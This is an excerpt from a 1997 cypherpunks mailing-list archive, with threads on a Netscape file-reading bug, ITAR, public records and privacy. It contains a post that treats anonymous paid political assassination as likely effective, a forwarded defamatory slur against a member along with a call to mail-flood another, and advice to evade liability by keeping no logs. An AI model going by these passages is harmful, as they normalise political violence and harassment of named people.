>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Isn't it widely known that the secret key is not to be stored in the box, as the
PGP manual and security pubs emphasize?

Still, it would be good to know if a Netscape snooper could snarf a key while 
it is being used by PGP to decrypt, that is, whether the hole allows snooping
on dynamic ops or just on stored info.

Does anyone know if the the hole finders are discussing this on the Net, and
if so, where? What are the folks at Netscape saying? Tom, Jeff?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 12:08:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous proxies & ITAR question
Message-ID: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



Also sprach nobody:

>Under ITAR regs, if a "foreign national" was to use the server to get
>access to "munitions" (sure, software kills, didn't cha know?), could I be
>held in violation?
>
>Even if all they had was circumstantial evidence, I'd really like to avoid
>being indicted - puts a real kink in one's social schedule.
>
>Your thoughts on this would be appreciated.

This is why we need more remailers, and why it's good that you posted
anonymously. The proper thing to do is to be "shocked, shocked!" that
anything illegal is happening on your server, immediately shut it down
(counting on the network to be self-healing with the help of an enhanced
remailer list), and offer to cooperate fully. Unfortunately, you don't
keep logs, so you wouldn't really be able to help (damn!).

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 14 Jun 1997 10:59:05 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A1F574.42D6AD6A@netscape.com>
Message-ID: <199706140232.VAA20313@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tom Weinstein wrote:
> John Young wrote:
> > 
> > Still, it would be good to know if a Netscape snooper could snarf a
> > key while it is being used by PGP to decrypt, that is, whether the
> > hole allows snooping on dynamic ops or just on stored info.
> > 
> > Does anyone know if the the hole finders are discussing this on the
> > Net, and if so, where? What are the folks at Netscape saying? Tom,
> > Jeff?
> 
> We aren't talking about it much.  We've released some information to
> the press and posted a release on our web site.
> 
> This attack can be used to grab any file from the user's hard drive,
> provided you know the file name and path.  It exploits a bug in the
> way forms are handled.  You can guard against this attack by turning
> on the warning dialog for submitting a form over an insecure connection.
> 
> We have a fix which we are testing now, and we'll have it out early next
> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.


Tom, are you going to release the linux version of netscape, 
and when.

Thank you very much.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch+spamfilter@stanford.edu>
Date: Sat, 14 Jun 1997 13:46:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: <aglhlaghjklahlase@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



> http://www.wired.com/news/culture/story/4437.html
>
>   Hacker Vows 'Terror' for Child Pornographers
>   by Steve Silberman
[...]
>   "Basically, we're talking about a Dirty Harry attitude," one network
>   technician/cypherpunk told Wired News. Though he senses "real feeling"
>   behind Se7en's battle cry, he feels that the best way to deal with
>   pornographers is to "turn the police loose on them."

Grr. Didn't notice that on first reading. Of course I meant evidence of
criminal child abuse that Mike Godwin considers illegal, not "pornography."
Since he snipped my name on request, though, I suppose I can't really
complain.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:05:31 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Netscape Security Flaw is a Feature
Message-ID: <199706141749.KAA22353@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:33 PM 6/12/97 -0700, Tim May wrote:
> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
> Marc Rotenberg commented, "Privacy at the individual user level is
> unimportant, just so long as a Privacy Ombudsman can decide on the
> legitimate needs of law enforcement."

Please cut the spoofing, or add visible indication of when you are
spoofing for the benefit of the less well informed amongst our 
audience.

I suggest that any spoof you write should come not from Tim May, but
from Class B  Citizen Unit 8387 Tim May.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:03:29 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Flag Burning...
Message-ID: <199706141749.KAA22463@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Jun 97 at 1:20, RS wrote:
> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.


Who is that most gravely desecrates the American flag?

Those who burn it, spit on it, shit on it?

Or those who violate the principles for which it stands?
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:03:10 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:There's no general right to privacy -- get over it, from Netly
Message-ID: <199706141749.KAA22637@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 6/13/97 -0400, tzeruch@ceddec.com wrote:
> Today the Nazi's would simply pay Experian (was TRW) for their databases. 
> I think the IRS already does. 

I do not see private organizations bothering to collect data on racial
identity, except where they are compelled to by the government.

>
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sun, 15 Jun 1997 02:05:41 +0800
To: Wei Dai <cypherpunks@toad.com
Subject: Re: FCPUNX:Untraceable Contract Killings
Message-ID: <199706141749.KAA22758@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> I think the novelty of Bell's scheme is that it allows assassination
> payments to be pooled from a large number of anonymous payers without
> explicit coordination (i.e., the payers do not have to communicate with
> each other to work out a contract, etc.).  For killing a neighbor it
> doesn't improve upon the simple untraceable contract, but it can make a
> big difference when the target has many enemies (Bell gave politicians as
> an example).
>
> Now in light of the fact that when the target has many enemies the
> assassination becomes a non-excludable public good, it is almost certain
> that the scheme cannot actually work in practice.  All of the potential
> payers would rather free-ride and let others pay, so the public good ends
> up not being "produced".

This not correct:  Public goods are underproduced, but they are produced.

Thus Bell's scheme would lead to less than the economically optimal
number of political assassinations, but this is still a great deal 
more than zero, and still likely to have substantial effect on 
political behavior.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sat, 14 Jun 1997 05:42:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970613180314.30086A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Tim,

> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
> clogged by people dumping Navigator and trying to download Explorer.

Are you sure they are trying to get Explorer ? it's *very* difficult to
buy a PC nowadays that comes without it. My guess is that people are still
trying to get the vital bugfixes for NT, IE, Win95,...

BTW: if people think IE will do better, they should broaden their minds.
Long live ActiveX ! Recently, MS also implemented a file upload thingie
for IE. What else do you need to browse a visitor's PC ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 14 Jun 1997 09:32:43 +0800
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
Message-ID: <Pine.LNX.3.93.970614064648.104H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

[...]

>    but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer.

So I'm not premitted to say, 'I give you give you and only you this
infomation' and expect my goverment to help me if thay violate this
condtionn?

[...]

>    Businesses say that such a rule would stifle
>    Internet advertising and commerce and have recently released a flurry
>    of self-regulatory proposals.

Yes the good old self-regulatory smoke screan.

[...]

>         Yet this misses the point. Protecting your personal privacy
>    online is your responsibility.

Partly,  however there are actions where it is currently neccery for me to
release personal infomation,  I wish to be pretected from abuse of that
innfomation in that context.  In addtion such laws should encourage
protocls that reduce the need for personal infomation to be realsed.

[...]

>    But in truth, privacy is not a right but a
>    preference: Some people want more of it than others.

But in truth [Right foo] is not a right but a preference: Some peaple
want more of it than others.

>         Of course there's an essential right to privacy from the
>    government.

But what is worce big Bisness or big Goverment.  I see no real diffrentce
between a multinational comperny and a national goverment.  The only way
we can get protection from both is to play them off against each other.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 14 Jun 1997 22:51:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <19970614074032.37364@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
[...]
>
>You have two choices you can take the Libertarian view of a minimal
>governement where all it's actions are reveiwable by it's citizens or you
>can take the Statest view of big governemtn where all is's actions are
>hidden and all "solutions" are more regulation and biger government.

The consistent libertarian/anarchist view of this would be that the
privacy or non-privacy of records is completely determined by contract
between the person supplying the information and the agency collecting
it.  For example, a medical license would be granted by agencies that 
granted such licenses.  If you wanted a license from a particular agency 
you would deal with them.  The value of the license is determined by 
the reputation of the agency, not whether or not they give out 
doctors home addresses.

>The whole privacy issue is a strawman proped up by the government to
>frighten the sheeple so they can pass their agenda. What's their agenda?
>To have a series of privacy laws they can hide behind to keep their
>actions hidden from public view.

An amusing example of a conspiracy theory.  You are pretty good at 
these, you know.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:12:55 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <199706141405.JAA25820@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>, on
06/13/97 
   at 02:16 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997, William H. Geiger III wrote:

>> Ray you seem to be missing the point here.

>Bzzzt:
> 
>> Any state issued permit is public record. This includes your drivers
>> license and your auto registration.

>Should it include your address and phone number?

Yes

>> It is imperative that in a democracy that the public know who and what the
>> state is giving permits to (there whole other issue of wether the state
>> should be issuing permits at all but that should be left to another
>> thread).

>> In a free and open society the public must be able to review the actions
>> of its government.

>Then we don't live in an open and free society.  Do we have open records
>into what the CIA and NSA and such do? etc.?  Very few. 
>

Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
flimsy straw man. All the documants being discused are on the state and
local level. They do not have "national security" that they can hide
behinde.

 
>> If Joe Sixpack has run over 20 people because he gets his kicks out of it
>> and the DMV still issues him a license the public has a right to know.

>But should the public know Joe's phone number and address and date of
>birth?  Gee, weren't we screaming this sucks to easily accessible Texas
>DMV records a few days ago?

YOU may have been screaming about it I was not.

>> If the state is going to issue permits on what people can and can not do
>> the it is crutial that the public can examine these records to insure that
>> the state is not abusing this power.

>See CIA comment above.  What of the likes of TRW, and health records?
>Should these be open knowledge to anyone who is a credit card agent or
>health insurance co?  If it is vital to have this info to keep the
>governments in check, why does the government have privacy?  If the
>government has privacy, why shouldn't we?  Neither do we, nor the
>government have absolute privacy, however, the government controls the
>information it deems to keep private.  Why should we not do the same?

>Should detailed building plans be made available of all buildings so that
>theives can look at them and break into banks more easily?  Perhaps there
>are reasons some of these things are available to the public.  Perhaps
>there are reasons why not all should be.

Look Ray I answered all this in my previous post.

You have two choices you can take the Libertarian view of a minimal
governement where all it's actions are reveiwable by it's citizens or you
can take the Statest view of big governemtn where all is's actions are
hidden and all "solutions" are more regulation and biger government.

The whole privacy issue is a strawman proped up by the government to
frighten the sheeple so they can pass their agenda. What's their agenda?
To have a series of privacy laws they can hide behind to keep their
actions hidden from public view.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:44:56 +0800
To: tzeruch@ceddec.com
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: <199706141436.JAA26144@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <97Jun13.180309edt.32257@brickwall.ceddec.com>, on 06/13/97 
   at 06:03 PM, tzeruch@ceddec.com said:

>On Fri, 13 Jun 1997, Ray Arachelian wrote:

>> On Fri, 13 Jun 1997, William H. Geiger III wrote:
>> 
>> > Any state issued permit is public record. This includes your drivers
>> > license and your auto registration.
>> 
>> Should it include your address and phone number?
>> 
>> > It is imperative that in a democracy that the public know who and what the
>> > state is giving permits to (there whole other issue of wether the state
>> > should be issuing permits at all but that should be left to another
>> > thread).

>One important distinction:

>If the state issues me a permit, they probably have a right to the
>information pertaining to the permit, e.g. they do need the make, model,
>year, and similar information about the car to issue a title or
>registration.  If they are issuing state ID, they need to know that I am
>me in order to issue it.  They don't need to place my mother's maiden
>name into the record although I think it appears on my birth certificate,
>and would cause problems since this is used as an informal password.  My
>driver's license is a permit to drive, not a permit to be me.  You can
>make a case for the database containing my age, but date of birth?  Much
>of what appears is not necessary for the purpose stated. 

>So are you making the case for having the state ask every detail about
>your life and being able to place it in the licensing database, or only
>answers to those questions relevant to issuing the license?

I would say only the relevant info for issuing a license. This is not to
say that the license should be anonymous. If the government is going to
issue a license/permit then the citizens have a right to know who these
license/permits are issued to.

Ray and some others are mixing several issues:

-- Should the State be involved in issueing these permits?

-- Should the information be public?

-- How should the information be used if it is public?

I woun't go into the fist one as I don't want to get off on a tangent.

As for the second one yes the information should be public and yes it will
have to containe enough personal information so that I or anyone else can
verify that the State is doing what they say they are. A good example of
this is voting registrations in Chicago. It has long been known as the
"most democratic city in the country, even the dead can vote".

The third one is the one that is causing people the most greif. If as I
contend with the second question that this info should and *must* be made
public then there is nothing that can be done here. Public information is
public information. What I or anyone else does with that information once
it becomes public is no ones bussines but my own. 

Because some people do things you don't like with this *public* info is
not an excuse for passing draconian laws and closing government action
from public view. This is the type of argumants that the government uses
against us on crypto (the four horseman), it is the same type of argument
that is used everytime the governement wants to shit on another part of
the constitution. Someone may or maynot do somthing we don't like so we
are going to pass some laws and restrict the rights of the citizens even
more. The saddest part is the sheeple thank them for it.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:58:35 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>
Message-ID: <199706141440.JAA26190@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>, on
06/13/97 
   at 04:57 PM, Rich Graves <llurch@networking.stanford.edu> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>Ray Arachelian <sunder@brainlink.com> wrote:

>> Should detailed building plans be made available of all buildings so that
>> theives can look at them and break into banks more easily? Perhaps there
>> are reasons some of these things are available to the public. Perhaps
>> there are reasons why not all should be.

>Yeah. We'd better criminalize publishing computer security exploits, too.
> Some information is just too damn dangerous. 

>If there is no public record of stuff like real estate, how are we
>supposed to know who owns what? Whoever's got the biggest gun?

Well I for one want to know if the mayor's brother-in-law is getting all
the road contract's or if Sludge, Inc. is buying up large tracks of land
by my house.

I am really amazed how if one pushes the right button so many self
proclaimed "Libertarians" turn "Statest"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:58:41 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <199706141448.JAA26269@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970613201551.40314@bywater.songbird.com>, on 06/13/97 
   at 08:15 PM, Kent Crispin <kent@songbird.com> said:

>On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
>> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>> >Awwww, Caaa'monnn.
>> >
>> >You mean they can license handguns, but not reporters???
>> 
>> Indeed, it is strange. What part of "Congress shall make no law" do they
>> not understand?

>The second amendment does not include that phrase.  The first  amendment
>does.  Perhaps they understand it a great deal better than  you:


>                            Amendment I

>Congress shall make no law respecting an establishment of religion, or
>prohibiting the free exercise thereof; or abridging the freedom of
>speech, or of the press; or the right of the people peaceably to
>assemble, and to petition the Government for a redress of grievances. 

>                           Amendment II

>A well regulated Militia, being necessary to the security of a free
>State, the right of the people to keep and bear Arms, shall not be
>infringed. 

Which part of "shall not be infringed" don't you understand Kent??

Some rights more equal than others?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 23:04:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <19970614074032.37364@bywater.songbird.com>
Message-ID: <199706141455.JAA26358@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614074032.37364@bywater.songbird.com>, on 06/14/97 
   at 07:40 AM, Kent Crispin <kent@songbird.com> said:

>On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
>[...]
>>
>>You have two choices you can take the Libertarian view of a minimal
>>governement where all it's actions are reveiwable by it's citizens or you
>>can take the Statest view of big governemtn where all is's actions are
>>hidden and all "solutions" are more regulation and biger government.

>The consistent libertarian/anarchist view of this would be that the
>privacy or non-privacy of records is completely determined by contract
>between the person supplying the information and the agency collecting
>it.  For example, a medical license would be granted by agencies that 
>granted such licenses.  If you wanted a license from a particular agency 
>you would deal with them.  The value of the license is determined by  the
>reputation of the agency, not whether or not they give out  doctors home
>addresses.

This is fine if the licensing is being done in the private sector. If it
is being done by the government then it must be public. You can not have a
democracy if everything the governmnet does is hidden from the citizens it
is to server.

>>The whole privacy issue is a strawman proped up by the government to
>>frighten the sheeple so they can pass their agenda. What's their agenda?
>>To have a series of privacy laws they can hide behind to keep their
>>actions hidden from public view.

>An amusing example of a conspiracy theory.  You are pretty good at 
>these, you know.  :-)

No conspiracy Kent just SOP for the government. I believe the current
phrase is "spin-doctoring". Anyone who has spent any time watching how
governemnt works knows that quite often they will create a "problem" for
the sole purpose of providing a "solution".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 22:44:18 +0800
To: cypherpunks@toad.com
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.LNX.3.91.970613182413.612A-100000@fatmans.demon.co.uk>
Message-ID: <BZka9D126w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

>
> > He still misunderstands my position. I'm saying you have no property right
> > in information others collect about you.
>
> There is no such thing as intellectual property rights period. All
> patents and copyrights are violations of free speech, technology is the
> only way to protect so called "intellectual property"...

I fully agree.  Technology or good marketing (you can have my software
for free, but you need to pay for "support")

> > Great. You want Congress to pass a law that says "Netscape shall release
> > no more buggy browsers." Yeah, and mandate that pi is 3.14, right?
>
> No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)...
> BTW, I`m pretty sure it was pi=3.2 on that bill.

I think it was exactly 3, like it says in the Bible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 14 Jun 1997 22:41:06 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <199706141428.KAA12341@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




| >Tim's post (although refuted by Marc) raises some serious issues since I
| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

	Are FAT file lists stored as files?

	On a Unix box, /. refers to the file containing directory
entries, the list of files in the directory.  If there is an analogous
file on a dos box, you can explore.  (Does the bug work on Unix?  I've
heard it only works if java or livescript are turned on, so it hasn't
worried me enough to investigate.)

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 15 Jun 1997 00:40:22 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] ZKP
In-Reply-To: <199706141102.NAA10524@basement.replay.com>
Message-ID: <Pine.A41.3.95.970614103029.30172B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C. Mayo is not only as queer as a three 
> dollar bill, but he is also into having sex with 
> children.
> 
>   (((>     /<
>  (        /
>   ((({{{{{:<  Timothy C. Mayo
>           \
>            \<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:38:33 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970614102206.612E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.

The default case is total freedom of speech for both individuals and 
corporations, if you don`t want XYZ corp. to sell your information make a 
contract with them that they will not sell it, if you do want it sold but 
want to be paid, then a contract is again the answer. 

> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  

The first part is correct, everything you do IS private until you pass it 
on, if you don`t want transactions traced, don`t use a credit card, if 
you don`t want a shop to take information; refuse to give it or lie.
The second part is a restriction on free speech not based in a contract, 
there is no such thing as a default case of restricted speech. I agree 
that privacy is a valuable thing but it comes down to you to protect it, 
not the state and not the constitution.


> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)

I agree, if the people decide the state cannot collect information on 
them they are entitled to force the state not to do so. But between 
individuals and corporations it is a matter of a private contractural 
agreement.

> How many loons have used DMV records to stalk their victims?

I can`t answer this point because I don`t know if the US DMV reg system 
is supposed to allow anyone access to anyone elses records, if not then 
this is the fault of the government goons who failed in protecting the 
information.

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.

No, this is an act of trespass and is unauthorised use of your equipment, 
what it all comes down to is property: To break into your system is an 
unauthorised use of your equipment: A tangiable theft. To compare this to 
speech is a straw man.

> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!

Quite so, if you don`t want to give radio shack information then refuse, 
lie or walk away. The only thing wrong with radio shack asking for this 
information is that the government mandates that such information must be 
true.

> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.

Exactly, YOU and no-one else makes the decision to release the 
information. Even this can be avoided by holding bank accounts in false 
names and running debit cards from them (I believe neither of these 
actions is criminal?).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 15 Jun 1997 01:48:13 +0800
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Forgery detection
